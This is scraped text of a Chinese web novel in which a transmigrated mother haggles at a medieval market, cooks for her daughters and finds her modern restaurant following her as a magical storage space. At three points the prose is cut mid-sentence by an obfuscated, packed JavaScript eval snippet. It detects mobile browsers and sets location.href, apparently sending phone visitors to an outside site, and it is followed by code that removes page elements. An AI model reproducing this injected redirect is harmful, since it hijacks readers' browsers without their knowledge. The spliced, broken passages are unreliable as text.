平时若有顾客愿意以银币支付，既省去了清点铜币、折算的麻烦，也规避了铜价波动的风险，商家会很乐意给折扣。 定下店面需要的瓦片，尤兰达的钱包轻了，脚步重了。 她摸摸篮子里的丝绸裙子，调转脚步去海螺巷。 那里有一家公益性当铺。 找到挂着天平与十字架木牌的店铺，尤兰达推门进去。 “午安，修士先生，我要抵押一条丝绸裙子。” …… 踏出当铺大门，尤兰达掂量一下羊皮包。 可惜了原身花30银币订做的晚礼裙，只抵押来200铜币，不如一把镰刀值钱。 捂着刚到手的铜币，尤兰达直接奔向海螺巷的小广场。 小广场开设了露天市集，附近居民大多喜欢去那里采买食材杂货，类似于社区菜市场的功能。 “新出炉的黑麦面包3铜币一个，软软的白面包10铜币一个，老爷，买一个吧？” “甜甜的覆盆子酱、树莓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200982|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酱，2铜分一勺，夫人尝尝吗？” “嫩玉米90铜币两袋，新收获的嫩玉米便宜卖~” 市集不大，卖的东西五花八门，山珍海味、野兽皮毛、蔬菜浆果、布匹鞋帽……充满朴实、粗犷的时代感。 尤兰达路过围满妇人的摊子，钻进去瞧了一眼，原来是“蚝郎”挑来满满两大桶生蚝，现撬现卖。 “生蚝10铜币20只，夫人要买一点吗？ 后天星期五斋戒日，当天买生蚝10铜币可就只能买10只呢。” 有夫人还价：“海边多得是生蚝，你不过运进城里而已，10铜币25只比较合适。” 同行的夫人配合说：“是啊，太贵了，不如去买猪血，做猪血汤也不错，5铜分能买一大桶呢，斋戒日吃上一天足够了。” 尤兰达听了一耳朵，既想要生蚝又惦记猪血。 辣炒猪血、猪血馍馍、猪血豆腐汤……花样多着呢。 生蚝更不必说，直接烹煮或者熬出蚝油清炒任何时蔬，都很美味。 尤兰达盘算一遍家里贫瘠的调味料，又摸摸自己干瘪的钱袋，强忍心动转身。 走出去没几步，拖着箩筐卖山货的小贩热情拦路，吆喝声震天响。 “夫人们瞧瞧呀，今早新采的野菌菇，鲜得滴露水，一捧只卖22铜币！” 尤兰达没来得及说什么，隔壁摊子上挑拣蔬果的几位妇人惊讶转头，纷纷说着“太贵了”之类的话。 “嘿，汉斯，”果酱摊前裹着头巾的胖妇人喊了一嗓子，“你前日不还卖15铜币吗？怎么转眼涨了这么多。” 名叫汉斯的小贩脸颊红扑扑，对上众位夫人不满的抱怨，搓着手解释： “海伦夫人不知道吧，老林克摔断腿啦，就是那个最会认蘑菇的老头子。 这几个月他上不了山，我们哪敢随便收不认识的人的蘑菇？这些都是我高价从草药师手里收来的。” 一位瘦高妇人从旁边的蔬果摊走来，停在箩筐前，拨弄两下，挑剔说： “种类也少了，你上个月说过，很快能吃上鹿肝菌呢。” 汉斯叹气，“是啊，如果老林克能上山，鹿肝菌一定少不了。 别看蘑菇长满山，可谁敢乱碰？我可不想哪天卖出去的蘑菇毒倒了人。” 尤兰达深以为然的点头，采蘑菇的确是技术活，非熟悉山林的老手不可胜任。 “但这些鸡枞菌、面包菇、牛肝菌特征明显，又很常见，竟然也要高价收购？”她俯身，从筐里拣出几朵形态清晰的蘑菇。 汉斯愣了愣，打量她一眼才答：“夫人，单独看不难，可它们长在树叶堆里，旁边常混着毒菌子。 比如牛肝菌，和‘魔鬼牛肝菌’同地出现，我们哪敢拿性命赌运气啊，只能依靠有经验的农户和草药师。” 尤兰达搜索一遍记忆，原身对此一无所知，开口问道：“难道没有农户种蘑菇吗？” 话音落下，几位妇人相继发出善意的低笑。 海伦夫人嗓门洪亮：“好夫人哟，蘑菇是山神的礼物，哪能说种就种？ 它们只认腐叶、树根和山雾，换个地方根本种不活。” 她目光掠过尤兰达的衣着，心里了然，语气温和，“瞧您的打扮，想必夫人没去过林子深处吧？” “夫人啊，蘑菇如果能像芥菜一样从菜畦里长出来，汉斯哪还用得着冒险上山。” “我丈夫试过，他把牛肝菌的碎屑撒木屑堆里，天天浇水，结果生了好多虫子。” “山上的东西有山上的脾气，”汉斯的语气充满敬畏：“趁着山神不注意偷偷摘走几个，我们知足啦。” 他捧起鸡枞菌：“所以啊夫人，22铜币真的不贵。” 妇人们没有花22铜币的意思，笑着搭了几句话，扭身挑选蔬果。有人耐不住馋，挤上来和汉斯软磨硬泡。 尤兰达面不改色地收回手，为讨价还价的夫人让出位置。 显然，童话世界的人族尚未掌握种植蘑菇的窍门。 别人种不出，她能啊。 尤兰达若有所思地挎上篮子，深入市集。 7. 第 7 章 海螺巷的市集小到连想“货比三家”，都凑不齐三家售卖同种商品的摊子。 尤兰达初来乍到，不敢贸然砍价。她便在摊子前逗留，装模作样挑拣一番，实则竖起耳朵，等着经验丰富的夫人与摊主你来我往的议价。 待双方成交，她若无其事地接上一句：“哦，听起来不错，也给我来一些”。 靠着这份厚脸皮与耐心，她用10铜币35颗的价格买下70颗番茄，又用1铜币带走了4颗饱满的大蒜。 食材好办，买牙刷时就再没有旁人来帮她打样了。 尤兰达对着摊子上那一排排用猪鬃扎成、手柄粗糙的木制牙刷犹豫片刻，终究还是花了5个铜币，买下一把全新牙刷。 虽说她占了原身的身体，可若要接着用原身用过的牙刷……恕她实在办不到。 买完这几样，海螺巷市集几乎走到头，只剩下几个稍显脏乱的摊子。 好巧不巧，尤兰达想要的东西，差不多全集中在这一片。 她先去了最近的草料摊，一番询价后，果断以4铜币的价格，买下20斤的干草屑和20斤坚果壳。 草料摊老板装填草料的工夫，她往前走了几米，停在一处卖煤炭的摊子前。 煤炭被大家视为不洁燃料，多数是工坊和贫困家庭使用，因此价格低廉。 自从得知煤炭比木柴便宜一大截，尤兰达满脑子蜂窝煤。 可惜眼下没人开发出煤球的用法，市面上买不到现成的成品，只能自己动手。 手搓蜂窝煤，好用又省钱，除了必备的煤炭、水，少不了草屑果壳和黏土。 “嘿，夫人，要多少？” 她一走近，满脸煤粉的煤炭商停下手里的铲子，露出一口白牙。 尤兰达掩住口鼻抵挡硫磺味，“买10铜币的，我家炉膛小，请多给碎一点的小块。” 小黑人唉了一声，挥动铲子将车上的碎煤炭铲进黢黑木桶里，每铲一下都用力压实，然后倒上煤粉填满空隙，快要溢出木桶才一股脑倒进麻布袋子里。 “麻布袋1铜币，一共11铜币，拿稳了。夫人下次买煤炭记得带上麻布袋，我这儿的煤炭耐烧着呢。” 尤兰达拎起麻袋感受一会，发现根本拎不动，这一大袋少说90斤以上。 11铜币花的真值。 “夫人，需要帮您送回家里吗？两条街内1.5铜币。” 尤兰达正苦恼怎么拖回去，蹲守一旁的少年凑上来，他肩头和双手蹭了不少黑灰，可见专门守着煤炭摊子赚运费呢。 对比煤炭价格，1.5铜币着实不便宜。 “放心吧夫人，安德鲁很可靠，我的客人们经常拜托他帮忙。”小黑人煤炭商为少年美言。 尤兰达算了算手里的钱，少花这1铜币也不会变富有，而且她真扛不动这么多东西。 她数出11枚铜币付给煤炭商，又拿出1枚铜币。 “矮人巷北1店，走出海螺巷右拐就能看见，1铜币可以吗？” 矮人巷可不远，1铜币也不少了。安德鲁高高兴兴收了铜币，一把扛起麻布袋。 “好的夫人，您买的草屑要一起带走吗？相信我，扛起它们并不难。”他伸出手指了指隔壁的草料摊。 尤兰达以为他只送煤炭呢，略显惊喜，“店门旁边有道院门，从门下的缝隙塞进去就好，那条缝足够宽敞了。” 少年一手扛煤炭，一手提起40斤的草屑果壳，游鱼一般滑进人群，不见踪影。 搞定煤炭，还剩下充当粘合剂的黏土，这玩意买不到，要么去溪边挖，要么去田埂挖。 尤兰达想了想泥炭的需求量，询问过价格后，果断选择不要钱的黏土。 她琢磨着哪天出城挖土，走回矮人巷，听见哗哗的溪流声，倏地想起家门口就有一条小溪，何必舍近求远。 尤兰达莞尔一笑，换一边胳膊提篮子，踩着第九时祷（15:00）的钟声回家。 几乎是刚走到巷子口，大约翰领着木柴店杂役来送货，他身后跟了个差不多瘦弱的小男孩，应当就是小约翰了。 只一个照面，尤兰达又花出去34枚铜币，其中14枚付给小约翰，请他每天上门清粪。 送走他们，尤兰达回到卧室，捏住羊皮包往桌上一抖，百十个铜币哗啦啦滚了两圈，躺作一堆。 捡出独苗银币藏进衣柜深处，剩下的铜币铜分她翻来覆去数了几遍，直叹气。 好穷，好穷！ 又扒拉一遍剩下的铜币，尤兰达忍痛放弃买辣椒的打算。 草药铺的鲜辣椒一斤卖50铜币，够买一捆橡木柴，根本狠不下心花这笔钱。 既然买不起，那就自己种。 尤兰达回到厨房找出干辣椒搓出籽，加水放进陶碗浸泡。 都种辣椒了，泡点鹰嘴豆、豌豆、蚕豆顺带手的事，留待发芽炒成菜，怎么都比黑麦面包好吃。 处理完有的没的杂事，外面天色渐暗，前后左右的邻居家飘出缕缕炊烟，炖菜与烤面包的朴素气味四处弥漫。 尤兰达这才想起院门口的煤炭和草屑，拖回仓库暂放。 叮呤咣啷忙碌一通，一连串的动静惊醒屋子里的补觉女孩们，两人揉着眼，啪嗒啪嗒跑出来围住她。 “妈妈，我们能吃晚饭了吗？” “我要吃无米蛋炒饭。” 尤兰达深吸气，疲惫微笑：“当然，不过你们得帮忙，我一个人可忙不过来。” 女孩们一听要自己动手，丧眉耷眼。 西芙拉垮着脸：“妈妈，我们家急需一个女仆。” 菲奥娜有气无力：“还有一个厨娘。” 尤兰达充耳不闻，只管分配备菜任务，女孩们反对无效，乖乖去井边打水。 有前面几餐的经验，尤兰达对三人的饭量把握得更精准了。 这次，她只切了一小块火腿和肉肠，打了两颗鸡蛋洒盐粒备用。 做好准备工作，探头从后门望向院中，两个女孩咋咋呼呼瞎忙活，土豆胡萝卜表层微湿。 尤兰达鼓励道：“做的不错，看来晨祷（凌晨2点）前有望能吃上你们洗出来的土豆了。” 两人一时半会忙不出名堂，尤兰达不想干等，扭头剥了四根玉米，做点玉米烙当饭后零嘴。 新上市的嫩玉米看着就糯，菜刀刮下饱满颗粒时，嫩浆迸溅，清香沾了一手。 笃笃笃，很快，陶盘里堆出灿黄的小山。 泥炉升起火苗，尤兰达先将玉米粒焯水断生，捞出后加小麦粉、橄榄油、少量麦芽糖和鸡蛋，拌成黏稠的浆糊为止。 陶锅里的水倒净，锅底抹一圈黄油，玉米糊入锅的刹那，“滋啦”一声轻响，她迅速用勺背将糊浆推圆定型，边缘渐渐凝出金黄的轮廓。 待底面烙成均匀诱人的深黄色，尤兰达手腕轻巧一抖，玉米烙翻了个身，落回锅底发出“啪”声，朝上的一面已然结出酥脆的壳。 玉米烙一块接一块出锅，叠在陶盘里，香甜味一层层漫开。 趁着晾凉的功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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菲奥娜伸着脑袋连声追问：“妈妈你到底对它们施了什么魔法？怎么就、就变成这样了？” 厨子的基本功，落在她们眼里惊天动地，一句句发自肺腑的惊叹脱口而出，情绪价值拉满。 尤兰达飘飘然，这一飘，她决定多添一道菜汤。 从菜园掐来一把嫩生生的豌豆尖，洗净后滚水一焯，磕入蛋花，撒点盐粒，清清亮亮的豌豆尖鸡蛋汤端上了餐桌。 黄黄绿绿的菜汤看着朴实素净，入口说不出的清爽鲜美，正解了炒饭的腻。 一口饭一口汤，啊呜一口吞下玉米烙，两个小老外腮帮子鼓鼓，摇头晃脑。 “妈妈（嚼嚼嚼）……它真的是玉米吗？”西芙拉含混不清地追问，三观在香气中碎了一地，“那我们以前（嚼嚼嚼）……吃的是什么？” 如果不是手里的玉米烙还清晰保留着完整的颗粒形状，她宁愿相信此“玉米”和彼“玉米”是两种完全不同的物种。 “妈妈，明天我不要吃三明治了，我吃玉米饼。”菲欧娜当场表演见异思迁，忙不迭点菜。 尤兰达捏起一块玉米烙送进嘴里。 还行啊，口感酥脆带糯，正常的玉米味嘛。 转念一想，自从玉米随商队进入黑森王国，因其高产，迅速成为平民餐桌上的又一廉价主食。 当地人照葫芦画瓢，怎么处理小麦燕麦，就怎么处理玉米。 磨粉、煮粥、烤成粗粝的面包，烹饪手法单调乏味。渐渐，玉米虽被大家广泛接受，却也沦落为粗劣食物的代表。 对比她们以前吃过的干噎玉米硬粥，金黄酥脆、香甜软糯的玉米烙简直降维打击、味觉碾压。 再看两个如同发现新大陆的小土老冒，尤兰达目光怜悯。 哪天有空给她们做出爆米花，不得把她夸成上帝降临？ 8. 第 8 章 尤兰达蹲在橱柜前挑拣，瞧瞧哪口锅适合做爆米花，身后冷不丁爆发一声惊呼。 “上帝啊！我真不敢相信我看到了什么。 妈妈，求你告诉我，我们家已经喝不起啤酒了吗？” 菲奥娜一口一个玉米烙，吃得心满意足。 忽然，她耸动鼻子，嗅出旁边铜壶里飘来的甜香。 菲奥娜以为妈妈藏了什么好东西，欣喜上前查看。 这一查看，可吓坏了她，妈妈竟然煮了一壶水！ 西芙拉闻言大惊失色，噔噔噔跑去泥炉边，伸着脑袋去瞧铜壶内的景象。 下一秒，她像按了暂停键，捏着玉米烙一动不动。 “妈妈，我不要喝水，有怪怪的味道。 我也不想肚子疼去看医生，放血可疼了。 我们喝啤酒吧？或者葡萄酒呢？我记得我们带来了。” 女孩们齐齐露出崩溃神情，跺脚尖叫。尤其十分在意形象的西芙拉，直接忘记咀嚼，任由嘴里的玉米残渣滑稽地掉下。 尤兰达被两人一惊一乍的反应吓一跳，随后一拍脑门。 “放心喝，这是干净的井水。 你们看，我用柴火高温煮沸了，又加了玉米，喝起来甜丝丝。 我保证不会肚子疼。” 小孩们没有受过九年义务教育毒打，让她们理解什么叫“高温杀菌”、“改善水质”太难，索性用通俗一点的方式讲解。 “想想看，我们常喝的淡啤酒，不也是麦芽淋了热水后酿出来的吗？” 拿啤酒做例，西芙拉和菲奥娜听明白了，顿时冷静。 她们将信将疑地倒出一杯玉米水，低头一看，热气蒸腾着香气一起扑面而来，淡黄色泽澄澈清亮。 确实和淡啤酒有几分相似。 两人对视一眼，打算晾凉后浅尝一口。 毕竟它闻着甜甜的。 这时，敲门声“咚咚咚”响起，不轻不重。 母女三人才搬来，连收拾带打扫，脚不沾地忙了一天，顾不上和左邻右舍走动，想不出谁会找上门。 “晚上好，费尔南多夫人。” 尤兰达提上油灯来到门口，照亮门外腼腆微笑的小约翰，他拘谨地搓着衣角，努力堆起笑容。 “晚上好，小约翰。今晚不需要清洗粪桶，帮我找个地方丢掉它就好，如果可以，请帮我擦洗一下厕所，好吗？”尤兰达拉开门，领着他走进院子。 整座院子，除了店面三层留着修缮后统一大扫除，只后院的旱厕没有动过。 做为酒馆的公共厕所，打扫多少遍她都膈应，别说扔粪桶，连隔间也恨不得拆了重建。 可惜条件不允许。 小约翰愣了愣，房主夫人不仅回应了他的问好，还用了“请”“好吗”。 “当然，我很愿意帮忙。”他挺起胸膛，声音嘹亮，脚步轻飘地跟进院子后，整个人又缩了回去，小声说：“抱、抱歉……我是不是来得不是时候？” 清粪过程避免不了熏天臭气逸散，未免惹客户不快，小约翰通常会在天色擦黑、各家晚饭差不多结束时上门工作。 一进院子，瞧见起居室正在晚餐的场景，两个美丽女孩吃得津津有味，他懊恼极了。 “不碍事，”尤兰达摆摆手，“你只管做你的活儿。” 小约翰松了口气，缩手缩脚地穿过院子，往角落的木隔间走去。 走着走着，他的脚步不自觉慢下来，空气里飘着的食物香气太诱人了。 那是一种混合了焦糖般甜香的玉米味，还有某种说不出的、带着油脂的香气，丝丝缕缕钻进鼻腔。 “咕咕——” 小约翰肚子不争气的叫了几声。 自从接下矮人巷的清粪工作，街头巷尾来回无数趟，谁家炖了肉、谁家烤了面包、谁家夫人擅烹饪，逃不过小约翰的眼睛和鼻子。 他发誓，他的鼻子从未捕捉过这般香气，香到让人走不动道。 小约翰忽然想起，房主夫人似乎正为开饭馆做准备。 不知从哪请来的厨娘，这手厨艺可比附近几家酒馆饭馆高出一大截，以后生意肯定不会差。 真希望他有机会进店尝一尝滋味。 小约翰深吸一口食物香气，压下不合时宜的食欲，扎进厕所卖力清洗。 尤兰达正好吃完饭，没打扰小约翰，回厨房添柴烧洗澡水。 当地人通常一年半载洗一次澡，讲究点的富豪贵族一个月洗一次，再配合每天局部擦洗、勤换贴身衣物，组成了绝大多数人的清洁习惯。 原身也不例外，每天只睡前进行局部清洗，严格意义上的沐浴清洁发生在九个月前。 大半年没洗澡，多埋汰啊。 尤兰达忍不了一点，困到眼皮子打架也坚持先洗澡，非从头到脚搓得干干净净不可。 等热水烧开的功夫，她和女儿们知会一声，提上工具去门前小溪挖泥。 顺着石阶向下，溪边意外的热闹。 附近店铺的杂役们忙着打水、洗衣、清洗工具，水声与交谈笑闹声融成一片。 尤兰达去到偏下游的位置，拨开上层泥沙，一铲一铲挖沉底的淤泥、黏土。 两筐黏土拎回家倒进桶里，小约翰麻利地完成了清扫工作，主动帮忙换上了她准备的新粪桶。 尤兰达说了声谢谢，那孩子不知怎的，脸一下子红透。 “夫、夫人，您要检查吗？”他结结巴巴说。 一打眼过去就能验收成果，尤兰达没必要特意检查，她爽快地摸出五枚铜分递过去：“辛苦了。” 小约翰完全没料到有幸苦费，琥珀色双瞳晶亮湿润，浑身冒火一样滚烫。 皇城大街小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一想到眼前的不便只是小麻烦，想到未来还要烦恼如何度过生理期，尤兰达头大如斗。 “没有系统，好歹给个有楼房有黑土地的灵泉空间…… 嗯？” 她疲惫瘫倒，抱怨话语未说完，眼前景象骤然变化—— 灯光明亮晃眼，不锈钢流理台宽敞整洁，沿墙角放置的刨肉机泛出冷光，洗菜区的水龙头滴答滴答。 死前掏到一半的时髦背包要掉不掉地挂在椅背上，包装完好的软糖静静躺在包底…… 尤兰达腾一下弹跳而起，揉揉眼，掐住自己胳膊。 “嘶！” 费心费力装修了几个月，设备食材齐全、崭新舒适的私厨餐厅，跟着她一起穿来了。 她有空间了？ 9. 第 9 章 尤兰达突然就不困了，身影忽闪忽闪，频繁进出空间和卧室，反复确认。 待她冷静，摸着冰凉的不锈钢台面，目光掠过一盆盆油盐酱醋味精和香料，差点乐出声。 空间来的太及时了，一切都保持在她穿越前一刻的状态。 备菜台上，葱姜蒜段等处理好的食材占据全部桌面； 打开八门的商用冷藏柜，鸡鸭鱼肉、海鲜河鲜分门别类，满满当当； 储藏间的货架上，米面粮油一袋压着一袋，找不到一点缝隙； 水吧台后，各色酒水饮料整齐排列，时令水果洗净，随时可以榨汁。 她走到消防后门，这里也保持着杂乱状态。 门口堆着菜贩清早送来的五个泡沫箱，里面塞满了新鲜蔬菜瓜果。门边收纳箱才从家里寄来，里面装了一堆后两期拍摄所需的食材、工具。 穿过走廊来到前厅，桌椅板凳一尘不染，为粉丝们准备的感恩礼盒整齐码放；亲朋和粉丝送的开业贺礼堆积一旁，等待拆箱。 收银台后，地上横七竖八躺了许多快递，金主寄来的厨房小家电排排放，等她写完脚本植入视频。 旁边的杂物间，抽纸卷纸塞满柜，为顾客准备的护手霜、卫生巾尚未拆封。 推门走进洗手间，洗手池冷热水流转正常；伸脚轻轻一扫，智能马桶感应启动，轰轰隆隆卷起旋涡冲刷。 将手探向出风口，烘手器嗡嗡嗡，送出强劲的暖风。 尤兰达乐得见牙不见眼。 前一秒发愁生理期和上厕所的问题，后一秒送来了卫生巾和抽水马桶，连吹风机也有烘手器代替。 可惜柜子里的卫生巾加上包里随身备用的安睡裤，只够她用两、三个月，卫生纸倒是能撑上一年半载。 不管怎么说，有总比没有的好。 想到什么，她钻去员工休息区，取来平板和电脑尝试联网。 毫无反应。 没网就没网，有水有电，有吃有喝，有整间私厨餐厅当她的金手指，知足了。 环顾自己亲手打下的江山，尤兰达说不出的满足。 余光瞥见桌上外卖刚送到的手打柠檬茶，杯子外壁凝结细密水珠，心思一动。 空间……还有保鲜功能？ 这么想着，她直接上手测试。 先拿半包抽纸和一杯热茶回卧室，又从卧室的烛台上拔下正燃烧的半截蜡烛，指甲掐出痕迹，闪身回到空间。 等了足有十分钟，蜡烛的长度一丝未减，而桌面上，悄然“刷新”出一包全新的、与她带出去时一模一样的抽纸。 尤兰达又惊又喜，打开消毒餐柜，果然，架子上也多出新的玻璃杯。 她取回带出去的抽纸和茶杯，仔细对比，分毫不差。 空间不仅可以维持带入事物状态，还可以重置刷新物资？ 这一回，尤兰达没忍住，短促地笑出声。 美得很，美得很！ 快步去卫生间借烘手器烘干头发，望见镜中笑意盈盈的陌生脸庞，尤兰达心底格外踏实。 这时，她才真正抽出空，端详原身的外貌。 和两个女儿随了亲爹的金发蓝眼不同，尤兰达生着一头浓密卷曲的乌黑长发，眼眸是青翠欲滴的绿，像雨后的森林、深潭，荡漾着细碎波光。 粗麻布搓洗过的脸颊透出健康的红晕，五官大气明艳，丰润嘴唇微张，有几分安吉丽娜·朱莉的风采。 母女三人风格迥异，却都是不折不扣的美人，尤兰达看直了眼，好半天挪不开视线。 再看原身身材，可见没有亏待过自己的嘴。身形高挑不说，白皙又丰腴，好好滋补调养，定能养出结实体格。 尤兰达别提多高兴了，这和中彩票有什么区别？ 前世的她瘦瘦小小，低血糖、低血压、亚健康、气血亏虚……集于一身。不致命，纯折磨人。她就盼着自己哪天能气血充足、精力旺盛。 夜风习习吹进，床幔挡住晚间的凉意和蚊虫，温度不冷不热，搭一条薄被正好眠。 尤兰达嘴角噙着笑，意识飞快堕入黑暗，沉沉睡去。 当晨光透过纱幔斜斜切进卧室，没多久，屋外传来噔噔噔的动静。 下一秒，就听西芙拉和菲奥娜隔着厕所的门板互相较劲： “我先醒的！” “明明是我先进来的！” “谁让你昨晚多喝了一碗玉米水！” 尤兰达拥着薄被坐起身，瞪向眼前精致床幔，意识恍惚。 一觉到天亮，晨祷和赞祷的钟声一概没听见，更无从分辨时间。 她摸了摸咕咕叫的肚子，傻笑着进空间洗漱。收拾整齐后，又在空间转了一圈，美滋滋离开卧室。 西芙拉和菲奥娜听到木门开合的轻响，扭过头看去。 走进日光下的尤兰达容光焕发，白皙皮肤像珍珠母贝般，散发温润柔和光辉。深邃的眼角眉梢间，漾着藏不住的喜气，步伐都透着轻快的劲儿。 女孩们纳闷地对视一眼，想不通老母亲 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中途要小心看顾着两边的泥炉，捞起煮好的水波蛋，顺便给培根翻个面，然后继续搅拌。 蛋液与黄油完全交融，变得浓稠亮泽，此时加入两勺苹果醋，荷兰酱就算完成大半，剩下的交给时间。 就着培根留下的底油，白面包切厚片用余温烘软，铺上两片煎得边缘卷翘的焦香培根、一颗白胖水灵的水波蛋，最后，淋下一大勺嫩黄的浓醇荷兰酱。 班尼迪克蛋一盛进餐盘，提前守在灶台边的西芙拉和菲奥娜按耐不住伸出手。 两人顾不上回起居室的餐桌，围着料理桌，一手端盘，一手举叉。 叉子轻轻一戳，娇嫩蛋白裂开大口，嫩黄酱汁和蛋黄齐齐流出、交融。 “这……这是蛋黄？” 菲奥娜的惊叹只持续一瞬，便戳起颤颤巍巍的半块水波蛋塞进嘴里。 蛋白果然够嫩，仿佛能直接融化。蛋液裹住舌尖，烫得她斯哈斯哈也没舍得吐，混合荷兰酱的酸香，口感绵密顺滑。 菲奥娜不再迟疑，放下刀叉直接上手，面包片卷起培根、蘸着酱汁，一同送入口中。 嚼嚼嚼，菲奥娜哇出声。 蛋的柔滑、酱的酸香、培根的咸脆、面包的绵软，每一种口感都令她感到新奇。 上帝啊，她们以前吃的是屎吧？ 可怜她们活到15、16岁才吃上这样的美味！ 10. 第 10 章 “妈，我改主意了，明天我们吃班尼迪克蛋吧。” 她三两口吃完早午饭，意犹未尽地嗦了嗦手指。 尤兰达含糊“嗯”了一声作为回应，手上动作不停。 察觉老母亲的敷衍，菲奥娜干脆探过身子偷看。 不知什么时候，泥炉上的陶锅换了新的，正小火慢炖着的番茄汤汁，咕嘟咕嘟冒泡泡。 而她们被上帝吻过手的妈妈，一手洒水、一手转着圈玩面，玩出一堆珍珠大小的面球。 西芙拉已经半饱，可吃可不吃的状态，见妈妈忙活新花样，眼里瞬间亮起光。 “妈妈，这又是什么？会比班尼迪克蛋好吃吗？”她舔唇，锅里白乎乎的小东西和天上云团差不多。 尤兰达一回头，恰好对上两双亮晶晶、写满“想吃”的眼睛，顿了顿动作，补加一大勺小麦粉。 “番茄风味珍珠浓汤。”她说。 国内叫它面疙瘩汤，出了国得换一个符合当地风格的新名字，尤兰达眼睛不眨的瞎编。 麦麸含量为零的精制面粉价格不菲，尼尔森家存货不多，她全带来了。 尤兰达原打算省着点用，馋得没办法的时候做点面条饺子以慰思乡的胃腑。 如今有了可以刷新物资的空间，她顾虑全无，想怎么吃怎么吃。 不止面疙瘩，包子、馒头、面条、糕点……都有机会加入菜单，顿顿不重样。 还是煮水波蛋的那锅水，倒进咕嘟冒泡的番茄汤汁里很快沸腾，恰好她的面疙瘩也准备完毕。 汤底翻涌，尤兰达抓起一把面疙瘩，手腕轻抖，均匀撒入锅中。 做荷兰酱剩下的蛋清顺着锅边缓缓滑入，凝成柔软的蛋花后，木勺转着圈轻推，打散融进汤底。 有两个眼巴巴的观众盯着，尤兰达没敢多放空间里的“秘密调料”，简单撒了一把新鲜的欧芹叶，一勺咸肉酱提鲜。 热气腾腾、色泽鲜亮的番茄咸肉面疙瘩汤，出锅了。 菲奥娜猛吸一口气，张嘴想说什么，未出声，口水抢先冲出嘴角。 意外的失态让菲奥娜羞窘不已，耳根子冒烟。 她向上帝发誓，绝对是番茄风味珍珠浓汤的问题，她还从来没有被哪一种食物诱的当场流口水过。 见姐姐抢占先机，端着碗挤上去，菲奥娜一抹嘴角，捧起陶碗乖乖排队。 尤兰达失笑，嘱咐一句“小心烫”，便将一锅面疙瘩汤分成三份。 女孩们馋得两眼冒光，烫也不肯放手，左右手来回倒腾碗，小口小口吹气。 等待面疙瘩汤晾凉的间隙，尤兰达顺手收拾起来： 锅碗堆进洗碗盆，铲出炉膛里的草木灰倒进陶罐，放去井边石台上留着洗碗用。 泡了一晚的辣椒籽拌上泥土沿墙种下，抄起井边木桶提去菜园浇水，顺道给大G加了一盆燕麦。 忙活半天，估摸着面疙瘩汤差不多可以入口了，尤兰达拍着裙摆进了屋。 一进门，却见两个女孩几乎埋进碗里，银勺一圈圈刮过粗陶碗内壁，不太美妙的“格拉格拉”声此起彼伏。 尤兰达略显诧异地顿住脚步。 面疙瘩汤这样的中式家常菜，她以为两个小老外会吃不来，特意给她们做了班尼迪克蛋。 转念一想，原身记忆里所谓的富人阶级才能享用的昂贵食材，说实话，不过如此。比不上她刻板印象里的白人饭。 不怪两人没吃过饭一样，差点上舌头舔碗了，连三明治都能夸出花的美食荒漠，又怎么能抵抗大中华美食的降维打击？ 尤兰达毫不怀疑，如果她能复刻出仰望星空派，两个小孩恐怕也会争着抢着吃下去。 捧起温热的面疙瘩汤，沿着碗边吸溜汤汁，尤兰达发出满足喟叹。 再加一勺辣油，那滋味，不敢想有多香。 吃饱喝足，时间尚早，街边市集尚未开摊，踩点也踩不出门道。 尤兰达盘算一遍手里的活，找来旧木桶，按住想飞奔出去玩耍的女儿们，一人分一件工具，围着木桶捣煤炭。 不一会工夫，后院锤声闷响。 “这太粗鄙了，我们竟然在用煤炭。”西芙拉尖叫着挥开飞扬的煤灰，一脸嫌恶。 “妈妈，可怜可怜我们吧，我的胳膊又酸又痛呢。而且煤炭……确实有损体面。” 菲奥娜有一下没一下地捣，像极了上班摸鱼 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全程抱怨不停的菲奥娜捶了捶酸疼的胳膊，迟钝追问：“妈妈，做这些有什么用？” 尤兰达言简意赅：“省钱。” 为了省钱，所以想出了不费柴的炒菜，所以有了草屑混合煤炭的蜂窝煤，所以不怕死的摘了旁人眼中“有毒”、“难吃”、“观赏”的植物填肚子。 解释太多反而容易引起怀疑，不如用省钱当幌子，多合理啊。 当然，不全是幌子，她们真缺钱。 至于别人信不信，尤兰达胸有成竹。 哪个时代的底层百姓都如此，为省下一点钱，什么法子都愿意琢磨，并不罕见。 女孩们爱美，搓完蜂窝煤立刻飞奔回房间梳妆打扮，为午后的皇城市集行程做准备。 尤兰达留下负责收尾工作，洗干净木盆木桶摞一起推进杂物棚，梯子送进柴棚。 等她们撑着伞、拎着包，花枝招展地走出来，尤兰达刚好忙完，摘下围裙，挎上篮子。 母女三人手挽手，一起向大市集出发。 11. 第 11 章 踏上贝壳街的石板路，日头已升得老高。 早午餐时间一过，沿街饭馆里客人稀稀拉拉，丰收节后闲下来的农夫们，不约而同挤满各家小酒馆，划拳吹牛，高歌赞颂收获女神。 沿街漫步，塔博鼓“咚咚咚”，节奏鲜明，竖琴演奏欢欣乐曲，年轻人在喷泉旁围成圈，拍手踏脚蹦跶着，简单旋律让整条街的心跳同步。 驻足欣赏一会中世纪版本的广场舞，尤兰达牵起两个蠢蠢欲动的女孩们离开。 走出繁华的贝壳街，她们来到了更繁荣、恢弘的皇城主街——凤凰大道。 笔直宽阔的石板道路连通城门与皇宫，贯穿整座皇城。 